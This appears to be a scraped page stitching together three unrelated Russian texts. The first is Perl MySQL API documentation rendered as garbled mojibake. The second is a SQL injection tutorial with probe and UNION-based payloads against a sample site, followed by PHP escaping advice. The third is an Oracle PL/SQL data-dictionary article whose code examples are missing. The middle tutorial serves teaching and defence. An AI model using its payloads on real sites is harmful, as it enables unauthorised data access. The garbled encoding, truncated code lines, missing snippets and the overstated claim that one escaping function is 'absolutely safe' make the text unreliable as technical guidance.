чПЪЧТБЭБЕФ БУУПГЙБФЙЧОЩК НБУУЙЧ, УПДЕТЦБЭЙК УМЕДХАЭХА УФТПЛХ, РПМХЮЕООХА У УЕТЧЕТБ.

чПЪЧТБЭБЕФ УФТПЛХ ТЕЪХМШФБФПЧ.

чПЪЧТБЭБЕФ НБУУЙЧ ЪОБЮЕОЙК УМЕДХАЭЕК УФТПЛЙ, РПМХЮЕООПК У УЕТЧЕТБ.

рПЪЙГЙПОЙТХЕФУС ОБ РТПЙЪЧПМШОХА РПЪЙГЙА Ч ДБООЩИ.

DataSeek $sth $row_number;

дБЕФ ЧПЪНПЦОПУФШ чБН ПРТЕДЕМЙФШ УНЕЭЕОЙЕ Ч ДБООЩИ, УЧСЪБООПЕ У ПРЕТБФПТОЩН ДЕУЛТЙРФПТПН. уМЕДХАЭЙК ЧЩЪПЧ FetchRow ЧПЪЧТБФЙФ УППФЧЕФУФЧХАЭХА УФТПЛХ (РЕТЧБС УФТПЛБ ЙНЕЕФ УНЕЭЕОЙЕ = 0).

оЕЛПФПТЩИ УЙНЧПМПЧ ОХЦОП ЙЪВЕЦБФШ РТЕЦДЕ, ЮЕН ДЧПЙЮОЩЕ УФТПЛЙ НПЗХФ ВЩФШ ЧУФБЧМЕОЩ Ч ВБЪХ ДБООЩИ MySQL. MySQL perl API ПВЕУРЕЮЙЧБЕФ УМЕДХАЭХА ЖХОЛГЙА, ЮФПВЩ ДЕМБФШ ЬФП БЧФПНБФЙЮЕУЛЙ.

лПОЧЕТФЙТХЕФ УФТПЛХ: РТПРХУЛБЕФ ЧУЕ УЙНЧПМЩ ‘ Й \, Б ФБЛЦЕ ЛПОЧЕТФЙТХЕФ \0 Й \n.

чУСЛЙК ТБЪ, ЛПЗДБ ПВТБВПФЮЙЛ, ЛПФПТЩК ПВЕУРЕЮЙЧБЕФ ДПУФХР Л ВБЪЕ ДБООЩИ, ПВТБВБФЩЧБЕФ РПФЕТСООПЕ ЪОБЮЕОЙЕ, Mysql ЧЩВЙТБЕФ УППФЧЕФУФЧХАЭЕЕ ДЕКУФЧЙЕ (ПУЧПВПЦДБЕФ ТЕЪХМШФБФ ЙМЙ ЪБЛТЩЧБЕФ РПДЛМАЮЕОЙЕ Л ВБЪЕ ДБООЩИ). фБЛ, ЕУМЙ чЩ ИПФЙФЕ ПУЧПВПДЙФШ ТЕЪХМШФБФ ЙМЙ ЪБЛТЩФШ РПДЛМАЮЕОЙЕ, чЩ НПЦЕФЕ ДЕМБФШ ПДОП ЙЪ УМЕДХАЭЙИ ДЕКУФЧЙК:

  • тБЪПРТЕДЕМЙФШ ДЕУЛТЙРФПТ
  • йУРПМШЪПЧБФШ ДЕУЛТЙРФПТ ДМС ДТХЗПК ГЕМЙ
  • йУРПМШЪПЧБФШ ДЕУЛТЙРФПТ ЧОХФТЙ ВМПЛБ Й ПВЯСЧЙФЕ ЕЗП У my()
  • чЩКДЙФЕ ЙЪ РТПЗТБННЩ

фЕРЕТШ РЕТЕУНПФТЙН ЧЩЫЕХРПНСОХФЩЕ НЕФПДЩ Ч ПФОПЫЕОЙЙ НЕФБДБООЩИ.

лБЛ ХРПНСОХФП ЧЩЫЕ, чЩ РПМХЮБЕФЕ ДЕУЛТЙРФПТ ВБЪЩ ДБООЩИ У РПНПЭША:

$dbh = Connect Mysql $host, $database;

дЕУЛТЙРФПТ ВБЪЩ ДБООЩИ ИТБОЙФ УЧЕДЕОЙС П ИПУФ-ЙНЕОЙ УЕТЧЕТБ, ЕЗП РПТФЕ Й ЙНЕОЙ ВБЪЩ ДБООЩИ, У ЛПФПТПК ХУФБОПЧМЕОБ УЧСЪШ. ьФЙ ФТЙ ЪОБЮЕОЙС НПЦОП РПМХЮЙФШ ФБЛ:

вБЪБ ДБООЩИ ОЕ ПРТЕДЕМЕОБ, ЕУМЙ УЧСЪШ ХУФБОПЧМЕОБ ВЕЪ БТЗХНЕОФПЧ ЙМЙ ФПМШЛП У ПДОЙН БТЗХНЕОФПН.

дЧБ ЛПОУФТХЛФПТБ ЧПЪЧТБЭБАФ ПРЕТБФПТОЩК ДЕУЛТЙРФПТ:

$sth = ListFields $dbh $table;
$sth = Query $dbh $sql_statement;

$sth ИТБОЙФ ЧУЕ НЕФБДБООЩЕ, РТЕДПУФБЧМСЕНЩЕ API:

$scalar = $sth->affected_rows; уЛПМШЛП ЪБРЙУЕК ЧУФБЧМЕОП ЙМЙ ЙЪНЕОЕОП.
$scalar = $sth->info; уФБФЙУФЙЛБ П РТЕДЩДХЭЙИ ЪБРТПУБИ ALTER TABLE ЙМЙ LOAD DATA FROM INFILE.
$arrref = $sth->is_blob; нБУУЙЧ ВЙФПЧ, УРЕГЙЖЙГЙТХАЭЙИ СЧМСЕФУС МЙ ДБООПЕ РПМЕ BLOB.
$arrref = $sth->is_not_null; нБУУЙЧ ВЙФПЧ, УРЕГЙЖЙГЙТХАЭЙИ СЧМСЕФУС МЙ ДБООПЕ РПМЕ NULL.
$arrref = $sth->is_pri_key; нБУУЙЧ ВЙФПЧ, УРЕГЙЖЙГЙТХАЭЙИ СЧМСЕФУС МЙ ДБООПЕ РПМЕ РЕТЧЙЮОЩН ЛМАЮПН.
$arrref = $sth->is_num; нБУУЙЧ ВЙФПЧ, УРЕГЙЖЙГЙТХАЭЙИ СЧМСЕФУС МЙ ДБООПЕ РПМЕ ЮЙУМПН.
$scalar = $sth->insert_id; ъОБЮЕОЙЕ, РТЙУЧПЕООПЕ УФПМВГХ У РПНПЭША AUTO_INCREMENT РПУМЕДОЙН INSERT.
$arrref = $sth->length; нБУУЙЧ ДМЙО ЧУЕИ РПМЕК Ч ВБКФБИ.
$arrref = $sth->name; йНЕОБ ЧУЕИ УФПМВГПЧ.
$scalar = $sth->numrows; лПМЙЮЕУФЧП ЧПЪЧТБЭБЕНЩИ ЪБРЙУЕК.
$scalar = $sth->numfields; лПМЙЮЕУФЧП ЧПЪЧТБЭБЕНЩИ РПМЕК.
$arrref = $sth->table; йНЕОБ ЛБЦДПЗП УФПМВГБ Ч ФБВМЙГЕ.
$arrref = $sth->type; фЙР ЛБЦДПЗП УФПМВГБ, ПРТЕДЕМЕО Ч mysql.h. дПУФХРЕО У РПНПЭША &Mysql::CHAR_TYPE, &Mysql::INT_TYPE, &Mysql::REAL_TYPE

пРГЙС -w

пРГЙС -w НПЦЕФ ВЩФШ ПЮЕОШ РПМЕЪОПК Ч УМХЮБЕ РТПВМЕН У ПФМБДЛПК. еУМЙ чЩ ЧЩЪЩЧБЕФЕ РТПЗТБННХ ОБ perl У ПРГЙЕК -w, ФП РТЕДХРТЕЦДЕОЙС, ПВЩЮОП ИТБОЙНЩЕ Ч $Mysql::db_errstr ВХДХФ ЧЩЧПДЙФШУС Ч STDERR (УФБОДБТФОЩК РПФПЛ ПЫЙВПЛ). фБЛЙН ПВТБЪПН, чЩ РПМХЮЙФЕ УППВЭЕОЙС ПВ ПЫЙВЛБИ УЕТЧЕТБ MySQL ВЕЪ ПВТБВПФЛЙ ЙИ Ч чБЫЕК РТПЗТБННЕ.

еУМЙ ОБДП ЙУРПМШЪПЧБФШ ПРГЙА -w, ОП ОЕ ОБДП, ЮФПВЩ УППВЭЕОЙС ПВ ПЫЙВЛБИ ХЧЙДЕМ ДЕНПО MySQL, НПЦОП ХУФБОПЧЙФШ РЕТЕНЕООХА $Mysql::QUIET Ч МАВПЕ ОЕОХМЕЧПЕ ЪОБЮЕОЙЕ.

MySQL ЙУРПМШЪХЕФ ВЙВМЙПФЕЛХ libmysql.a, ОБРЙУБООХА нЙИБЬМЕН чЙДЕОЙХУПН (Michael Widenius). ьФБ ВЙВМЙПФЕЛБ ПВСЪБФЕМШОП ДПМЦОБ ВЩФШ ХУФБОПЧМЕОБ ДП ЙУРПМШЪПЧБОЙС ЬФПЗП ЙОФЕТЖЕКУБ У perl.

ьФПФ ДТБКЧЕТ РТЕДУФБЧМСЕФ УПВПК ЧФПТПК УРПУПВ ПВТБФЙФШУС Л ВБЪЕ ДБООЩИ MySQL ЙЪ РТПЗТБННЩ ОБ perl.

ч ОБУФПСЭЕЕ ЧТЕНС ЬФБ ЮБУФШ ПРЙУБОЙС ЙОФЕТЖЕКУБ У perl ФПМШЛП ОЕНОПЗП РЕТЕТБВПФБОБ, ПФОПУЙФЕМШОП ЧЕТУЙЙ УФБОДБТФОПК pod-ДПЛХНЕОФБГЙЙ. дБООБС ЮБУФШ ПРЙУБОЙС ЙЪЗПФПЧМЕОБ У РПНПЭША ЛПНБОДЩ pod2html -mke.

DBD::mysql СЧМСЕФУС ДТБКЧЕТПН ДМС ТБВПФЩ У ВБЪПК ДБООЩИ, ХРТБЧМСЕНПК ухвд MySQL. пО РПТФЙТПЧБО Michael ‘Monty’ Widenius of Alligator Descartes’ DBD::msql . чЩ ДПМЦОЩ ХУФБОПЧЙФШ DBI-НПДХМШ РЕТЕД ЙУРПМШЪПЧБОЙЕН DBD::mysql .

$host НПЦЕФ ВЩФШ РТПУФП ЙНЕОЕН УЕТЧЕТБ («up.botik.ru») ЙМЙ ЙНЕОЕН УЕТЧЕТБ У ХЛБЪБОЙЕН РПТФБ («up.botik.ru:3333»).

$database ЪБДБЕФ ЙНС ВБЪЩ ДБООЩИ У ЛПФПТПК ОБДП УЧСЪБФШУС.

$user ЪБДБЕФ ЙНС РПМШЪПЧБФЕМС ДМС ДПУФХРБ Л ВБЪЕ ДБООЩИ. (ЕУМЙ ОЕ ХЛБЪБОП, ЙУРПМШЪХЕФУС ЙДЕОФЙЖЙЛБФПТ РПМШЪПЧБФЕМС ФЕЛХЭЕЗП РТПГЕУУБ).

$password СЧМСЕФУС ПРГЙПОБМШОЩН Й ОХЦОП ФПМШЛП ДМС БЛЛБХОФПЧ, ЛПФПТЩЕ ЙНЕАФ ОЕ РХУФЩЕ РБТПМЙ.

уЙУФЕНОЩЕ РЕТЕНЕООЩЕ, ЛПФПТЩЕ ЙУРПМШЪХЕФ DBD::mysql :

ъОБЮЕОЙС Ч УЙУФЕНОЩИ РЕТЕНЕООЩИ ПФНЕОСАФ ЪОБЮЕОЙС, РЕТЕДБООЩЕ ТБОШЫЕ. TCP ОПНЕТ РПТФБ, ПФНЕОСЕФ TCP ОПНЕТ РПТФБ, РЕТЕДБООЩК Ч hostname.

нПЦОП ТБЪТЕЫЙФШ ПФМБДЛХ, ХУФБОПЧЙЧ РЕТЕНЕООХА MYSQL_DEBUG ‘d:t:O,filename’ (ЗДЕ filename СЧМСЕФУС ЙНЕОЕН ЖБКМБ ДМС ЪБРЙУЙ РТПФПЛПМБ). рТПФПЛПМ ВХДЕФ ЪБРЙУБО Ч ЖБКМ ФПМШЛП ЕУМЙ libmysql ПФЛПНРЙМЙТПЧБОБ У РПДДЕТЦЛПК ПФМБДЛЙ (ПРГЙС DBUG).

рПДДЕТЦЙЧБАФУС УМЕДХАЭЙЕ ФЬЗЙ:

дМС РПМХЮЕОЙС ЪОБЮЕОЙС РПМС AUTO_INCREMENT INSERT, ОБДП:

пЗТБОЙЮЕОЙС ОБ ТБВПФХ У пюеош впмшыйнй ЮЙУМБНЙ УРЕГЙЖЙЮОЩ ДМС СЪЩЛБ perl ЧППВЭЕ, Б ОЕ ДМС ЛБЛПЗП-МЙВП API Ч ЮБУФОПУФЙ. фБЛ ЮФП ЧУЕ, ЮФП ПВ ЬФПН УЛБЪБОП ЧЩЫЕ, УРТБЧЕДМЙЧП Й Ч ДБООПН УМХЮБЕ.

чУФБЧЛБ ДЧПЙЮОЩИ УФТПЛ

ч УМХЮБЕ ЧУФБЧЛЙ ДЧПЙЮОЩИ ДБООЩИ Ч ВБЪХ ДБООЩИ чЩ ДПМЦОЩ ПВПКФЙ ОЕЛПФПТЩЕ УЙНЧПМЩ. чЩ НПЦЕФЕ ЙУРПМШЪПЧБФШ УМЕДХАЭЙК НЕФПД:

Msqlperl ТБЪТБВПФБО (C)1997 Alligator Descartes. нПДЙЖЙГЙТПЧБО Msqlperl by Michael ‘Monty’ Widenius. чУЕ ЙЪНЕОЕОЙС ДПУФХРОЩ ОБ ХУМПЧЙСИ public domain. Pod-ДПЛХНЕОФБГЙС, ОБ ЛПФПТПК ПУОПЧБОБ ДБООБС ЗМБЧБ, Й _InsertID

ч ЪБЛМАЮЕОЙЕ ИПЮЕФУС РПРТПУЙФШ чБУ, ЕУМЙ чБН РПОТБЧЙМБУШ ЬФБ УФТБОЙЮЛБ ЙМЙ РТЙЗПДЙМБУШ ЙЪМПЦЕООБС ЪДЕУШ ЙОЖПТНБГЙС, РПУМБФШ ВМБЗПДБТОПУФШ БЧФПТХ. ьФП РПНПЦЕФ НОЕ ЧЕУФЙ УФБФЙУФЙЛХ ФПЗП, УЛПМШЛЙН МАДСН РТЙЗПДЙМПУШ ИПФШ ЮФП-ФП ЙЪ НПЙИ ФТХДПЧ.

SQL инъекции. Проверка, взлом, защита

SQL инъекция — это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

Довольно легко. Например, есть тестовый сайт test.ru. На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1. Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

Изменяем GET запрос на ?detail=1′ или ?detail=1″ . Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1′ или на test.ru/?detail=1″.

Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

Пример ошибки, возникающей при проверке уязвимости

Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые — сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.

Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

Итак, у нас есть уже упоминавшийся сайт test.ru. В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

Список новостей, разрешённых к публикации

При обращении к странице test.ru/?detail=4, которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.

Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

Тестирую следующие варианты:
test.ru/?detail=4+OR+1
test.ru/?detail=4+—
test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+ >
В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости

Разбор примера изнутри

За получение детального описания новости отвечает блок кода:
$detail_ ];
$zapros=»SELECT * FROM `$table_news` WHERE `public`=’1′ AND ` >

Мало того, что $detail_ (т.е сравниваемое значение писать в прямых апострофах).

Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

SELECT * FROM `news` WHERE `public`=’1′ AND ` >

становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+ >.

Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`=’1′ AND ` >. К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

Защита от SQL инъекций (SQL внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.

Числа

Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n — число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET[‘id_news’] в значение целочисленного типа (в целое число):
$ ];

Строки

Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранизацией.

$a=»пример текста с апострофом ‘ «;
echo addslashes($a); //будет выведено: пример текста с апострофом \’

Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.

Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: \x00, \n, \r, \, ‘, » и \x1a .

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

if(get_magic_quotes_gpc()==1)
<
$element_title=stripslashes(trim($_POST[«element_title»]));
$element_text=stripslashes(trim($_POST[«element_text»]));
$element_date=stripslashes(trim($_POST[«element_date»]));
>
else
<
$element_title=trim($_POST[«element_title»]);
$element_text=trim($_POST[«element_text»]);
$element_date=trim($_POST[«element_date»]);
>

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

Управление программным кодом PL/SQL в базе данных Oracle

При компиляции программного модуля PL/SQL его исходный код сохраняется в базе данных Oracle. Это дает разработчикам два важных преимущества:

  • Информацию о программном коде можно получить с помощью запросов SQL. Разработчики могут писать запросы и даже целые программы PL/SQL , которые читают информацию из представлений словаря данных и даже могут изменять состояние кода приложения.
  • База данных Oracle управляет зависимостями между хранимыми объектами. В мире PL/ SQL не существует процесса «компоновки» исполняемых файлов, которые затем запускаются пользователями. База данных берет на себя все служебные операции, позволяя разработчику сосредоточиться на реализации бизнес-логики.

В следующих разделах представлены основные источники информации в словаре данных СУБД Oracle.

Представления словаря данных

Словарь данных Oracle — настоящие джунгли! Он изобилует полезной информацией, но найти путь к цели порой бывает очень непросто. В нем сотни представлений, основанных на сотнях таблиц, множество сложных взаимосвязей, специальных кодов и слишком много неоптимизированных определений представлений. Вскоре мы рассмотрим подмножество важнейших представлений, а пока выделим три типа (или уровня) представлений словаря данных:

  • USER_* — представления с информацией об объектах базы данных, принадлежащих текущей схеме.
  • ALL_* — представления с информацией об объектах базы данных, доступных в текущей схеме (либо принадлежащих ей, либо доступных благодаря соответствующим привилегиям). Обычно они содержат те же столбцы, что и соответствующие представления USER , с добавлением столбца OWNER в представлениях ALL .
  • DBA_* — представления с информацией обо всех объектах базы данных. Обычно содержат те же столбцы, что и соответствующие представления ALL . Исключение составляют представления v$ , gx$ и x$ .

В этой статье мы будем работать с представлениями USER ; вы можете легко изменить любые сценарии и приемы, чтобы они работали с представлениями ALL , добавив в свою логику столбец OWNER . Вероятно, для разработчика PL/SQL самыми полезными будут следующие представления:

  • USER_ARGUMENTS — аргументы (параметры) всех процедур и функций схемы.
  • USER_DEPENDENCIES — все зависимости (входящие и исходящие) для принадлежащих текущей схеме объектов. Представление в основном используется Oracle для пометки неработоспособных объектов, а также средой разработки для вывода информации зависимостей в программах просмотра объектов. Примечание: для полного анализа зависимостей следует использовать представление ALL_DEPENDENCIES на случай, если программная единица будет вызвана другой программной единицей, принадлежащей другой схеме.
  • USER_ERRORS — текущий набор ошибок компиляции для всех хранимых объектов (включая триггеры). Представление используется командой SQL*Plus SHOW ERRORS , описанной в этом блоге. Вы также можете писать собственные запросы к этому представлению.
  • USER_IDENTIFIERS — представление появилось в Oracle11g , а для его заполнения используется утилита PL/Scope . Содержит информацию обо всех идентификаторах (имена программ, переменных и т. д.) в кодовой базе; исключительно полезный инструмент анализа кода.
  • USER_0BJECTS — объекты, принадлежащие текущей схеме. Например, при помощи этого представления можно узнать, помечен ли объект как неработоспособный ( INVALID ), найти все пакеты, в имени которых присутствует EMP, и т. д.
  • USER_0BJECT_SIZE — размер принадлежащих текущей схеме объектов. Точнее, это представление возвращает информацию о размере исходного, разобранного и откомпилированного кода. И хотя оно в основном используется компилятором и ядром времени выполнения, вы можете воспользоваться им для поиска больших программ в вашей среде — кандидатов для размещения в SGA .
  • USER_PLSQL_0B3ECT_SETTINGS — представление появилось в Oracle10g. Содержит информацию о характеристиках объектов PL/SQL, которые могут изменяться командами DDL ALTER и SET : уровни оптимизации, параметры отладки и т. д.
  • USER_PR0CEDURES — информация о хранимых программах (не только процедурах, как можно было бы подумать по названию) — например, модель AUTHID, признак детерминированности функций и т. д.).
  • USER_S0URCE — исходный код всех принадлежащих текущей схеме объектов (в Oracle9i и выше — вместе с триггерами баз данных и исходным кодом Java). Это очень удобное представление — вы можете применять к нему всевозможные средства анализа исходного кода, используя SQL и особенно Oracle Text.
  • USER_ST0RED_SETTINGS — флаги компилятора PL/SQL. Это представление поможет узнать, какие программы были откомпилированы в код аппаратной платформы.
  • USER_TRIGGERS и USER_TRIG_C0LUMNS — триггеры базы данных, принадлежащие текущей схеме (включая исходный код и описание инициирующих событий), а также столбцы, связанные с триггерами.

Для просмотра структуры любого из этих представлений можно либо воспользоваться

командой DESCRIBE в SQI*Plus , либо обратиться к документации Oracle. Примеры использования этих представлений приведены в следующем разделе.

Вывод информации о хранимых объектах

В представлении USER_0BJECTS содержится ключевая информация об объекте:

  • 0BJECT_name — имя объекта.
  • OBJECT_TYPE — тип объекта ( PACKAGE, FUNCTI0N, TRIGGER и т. д.).
  • STATUS — состояние объекта ( VALID или INVALID ).
  • LAST_DDL_TIME — время последнего изменения объекта.

Следующий сценарий SQL*Plus выводит информацию о состоянии объектов PL/SQL :

Результат работы сценария выглядит примерно так:

OBJECT_TYPE
OBJECT_NAME STATUS
FUNCTION DEVELOP ANALYSIS INVALID
NUMBER OF ATOMICS INVALID
PACKAGE CONFIG_PKG VALID
EXCHDLR PKG VALID

Обратите внимание на два модуля с пометкой INVALID . О том, как вернуть программный модуль в действительное состояние VALID , будет рассказано далее.

Вывод и поиск исходного кода

Исходный код программ следует всегда хранить в текстовых файлах (или в средах разработки, предназначенных для хранения и работы с кодом PL/SQL за пределами Oracle). Однако хранение программ в базе данных позволяет использовать SQL-запросы для анализа исходного кода по всем модулям, что непросто сделать в текстовом редакторе.

Представление USER_SOURCE содержит исходный код всех объектов, принадлежащих текущему пользователю. Его структура такова:

Name
Null? Type
NAME NOT NULL VARCHAR2(30)
TYPE VARCHAR2(12)
LINE NOT NULL NUMBER
TEXT VARCHAR2(4000)

Здесь NAME — имя объекта, TYPE — его тип (от программ PL/SQL до блоков Java и исходного кода триггеров), LINE — номер строки, а TEXT — текст исходного кода. Представление USER_SOURCE является чрезвычайно ценным источником информации для разработчиков. При помощи соответствующих запросов разработчик может:

  • вывести строку исходного кода с заданным номером;
  • проверить стандарты кодирования;
  • выявить возможные ошибки и дефекты в исходном коде;
  • найти программные конструкции, не выявляемые из других представлений. Предположим, в проекте действует правило, согласно которому отдельные разработчики никогда не должны жестко кодировать пользовательские номера ошибок из диапазона от -20 999 до -20 000 (поскольку это может привести к возникновению конфликтов). Конечно, руководитель проекта не может помешать разработчику написать следующую строку:

Но зато он может создать пакет, который находит все программы с подобными фрагментами. Это очень простой пакет, а его главная процедура имеет вид:

После компиляции этого пакета в схеме можно проверить присутствие в программах значений -20NNN :

Обратите внимание: третья строка не противоречит правилам; она выводится только потому, что условие отбора сформулировано недостаточно жестко.

Конечно, этот аналитический инструмент весьма примитивен, но при желании его можно усовершенствовать. Можно, к примеру, генерировать HTML-документ с информацией, размещая его в интрасети, или выполнять сценарии valstd каждое воскресенье средствами DBMS_JOB , чтобы в понедельник утром администратор мог проверить наличие данных обратной связи в интрасети.

Проверка ограничений размера

Представление USER_0BJECT_SIZE предоставляет информацию о размере программ, хранимых в базе данных:

  • S0URCE_SIZE — размер исходного кода в байтах. Код должен находиться в памяти во время компиляции (включая динамическую/автоматическую перекомпиляцию).
  • PARSED_SIZE — размер объекта в байтах после разбора. Эта форма должна находиться в памяти при компиляции любого объекта, ссылающегося на данный объект.
  • C0DE_SIZE — размер кода в байтах. Код должен находиться в памяти при выполнении объекта.

Следующий запрос выводит кодовые объекты с размером больше заданного. Например, вы можете выполнить этот запрос для идентификации программ, закрепляемых в базе данных средствами DBMS_SHARED_P00L для того, чтобы свести к минимуму подгрузку кода в SGA :

Получение свойств хранимого кода

Представление USER_PLSQL_0BJECT_SETTINGS (появившееся в Oracle10g) содержит информацию о следующих параметрах компиляции хранимого объекта PL/SQL :

  • PLSQL_OPTIMIZE_LEVEL — уровень оптимизации, использовавшийся при компиляции объекта.
  • PLSQL_CODE_TYPE — режим компиляции объекта.
  • PLSQL_DEBUG — признак отладочной компиляции.
  • PLSQL_WARNINGS — настройки предупреждений, использовавшиеся при компиляции объекта.
  • NLS_LENGTH_SEMANTICS — семантика длины NLS, использовавшаяся при компиляции объекта.

Пара примеров возможного применения этого представления:

  • Поиск программ, не использующих все возможности оптимизирующего компилятора (уровень оптимизации 1 или 0):
  • Проверка отключения предупреждений у хранимых программ:

В представлении USER_PROCEDURES перечисляются все функции и процедуры с их свойствами. В частности, в представление USER_PROCEDURES включается настройка модели authid для программы ( definer или current_user ). Эта информация позволяет быстро определить, какие программы в пакете используют модель привилегий вызывающей стороны или создателя. Пример такого запроса:

Анализ и изменение состояний триггеров

Запросы к триггерным представлениям ( USER_TRIGGERS, USER_TRIG_COLUMNS ) обычно используются для решения следующих задач:

  • Включение или отключение всех триггеров для заданной таблицы. Вместо того чтобы писать код вручную, вы выполняете соответствующие команды DDL из кода PL/SQL. Пример такой программы приведен в статье «Сопровождение триггеров».
  • Поиск триггеров, выполняемых при изменении некоторых столбцов, но не имеющих предложения секции WHEN . Следующий запрос поможет найти триггеры, не имеющие секции WHEN , которые являются источниками потенциальных проблем:

Анализ аргументов

Представление USER_ARGUMENTS может оказаться исключительно полезным для программиста: оно содержит информацию о каждом аргументе каждой хранимой программы в вашей схеме. Оно одновременно предоставляет разнообразную информацию об аргументах в разобранном виде и запутанную структуру, с которой очень трудно работать. Простой сценарий SQL*Plus для вывода содержимого USER_ARGUMENTS для всех программ в заданном пакете:

Более совершенная программа на базе PL/SQL для вывода содержимого USER_ARGUMENTS находится в файле show_aN_arguments.sp на сайте книги.

Вы также можете создавать более конкретные запросы к представлению USER_ARGUMENTS для выявления возможных проблем с качеством кодовой базой. Например, Oracle рекомендует воздерживаться от использования типа LONG и использовать вместо него LOB . Кроме того, тип данных CHAR с фиксированной длиной может создать проблемы; намного лучше использовать VARCHAR2 . Следующий запрос выявляет использование этих типов в определениях аргументов:

Представление USER_ARGUMENTS может использоваться даже для получения информации о программах пакета, которую трудно получить другим способом. Предположим, я хочу получить список всех процедур и функций, определенных в спецификации пакета. Что вы говорите? «Нет проблем — просто выдать запрос к USER_PROCEDURES ». И это был бы хороший ответ. вот только USER_PROCEDURES не сообщит вам, является ли программа функцией или процедурой (причем в зависимости от перегрузки она может быть и той и другой!)

Представление USER_ARGUMENTS содержит нужную информацию, но она хранится в далеко не очевидном формате. Чтобы определить, является ли программа функцией или процедурой, можно поискать в USER_ARGUMENTS строку данной комбинации «пакет/ программа», у которой значение POSITION равно 0. Это значение Oracle использует для хранения «аргумента» RETURN функции. Если оно отсутствует, значит, программа должна быть процедурой.

Следующая функция использует эту логику для возвращения строки, обозначающей тип программы (если она перегружена для обоих типов, функция возвращает строку « FUNCTION, PROCEDURE »). Обратите внимание: функция list_to_string , используемая в теле функции, определяется в файле:

Наконец, следует сказать, что встроенный пакет DBMS_DESCRIBE предоставляет программный интерфейс PL/SQL , который возвращает почти ту же информацию, что и USER_ARGUMENTS . Впрочем, эти два механизма отличаются некоторыми особенностями работы с типами данных.

Анализ использования идентификаторов (Oracle Database 11g)

Проходит совсем немного времени, и рост объема и сложности кодовой базы создает серьезные проблемы с сопровождением и эволюцией. Допустим, мне потребовалось реализовать новую возможность в части существующей программы. Как убедиться в том, что я правильно оцениваю последствия от появления новой функции, и внести все необходимые изменения? До выхода Oracle Database 11g инструменты, которые могли использоваться для анализа последствий, в основном ограничивались запросами к ALL_DEPENDENCIES и ALL_SOURCE . Теперь, с появлением PL/Scope , я могу выполнять намного более подробный и полезный анализ.

PL/Scope собирает информацию об идентификаторах в исходном коде PL/SQL при компиляции кода и предоставляет собранную информацию в статических представлениях словарей данных. Собранная информация, доступная через USER_IDENTIFIERS , содержит очень подробные сведения о типах и использовании (включая объявления, ссылки, присваивание и т. д.) каждого идентификатора, а также о местонахождении использования в исходном коде.

Описание представления USER_IDENTIFIERS :

Name
Null? Type
NAME VARCHAR2(128)
SIGNATURE VARCHAR2(32)
TYPE VARCHAR2(18)
OBJECT_NAME NOT NULL VARCHAR2(128)
OBJECT_TYPE VARCHAR2(13)
USAGE VARCHAR2(11)
USAGE_ID NUMBER
LINE NUMBER
COL NUMBER
USAGE_CONTEXT_ID NUMBER

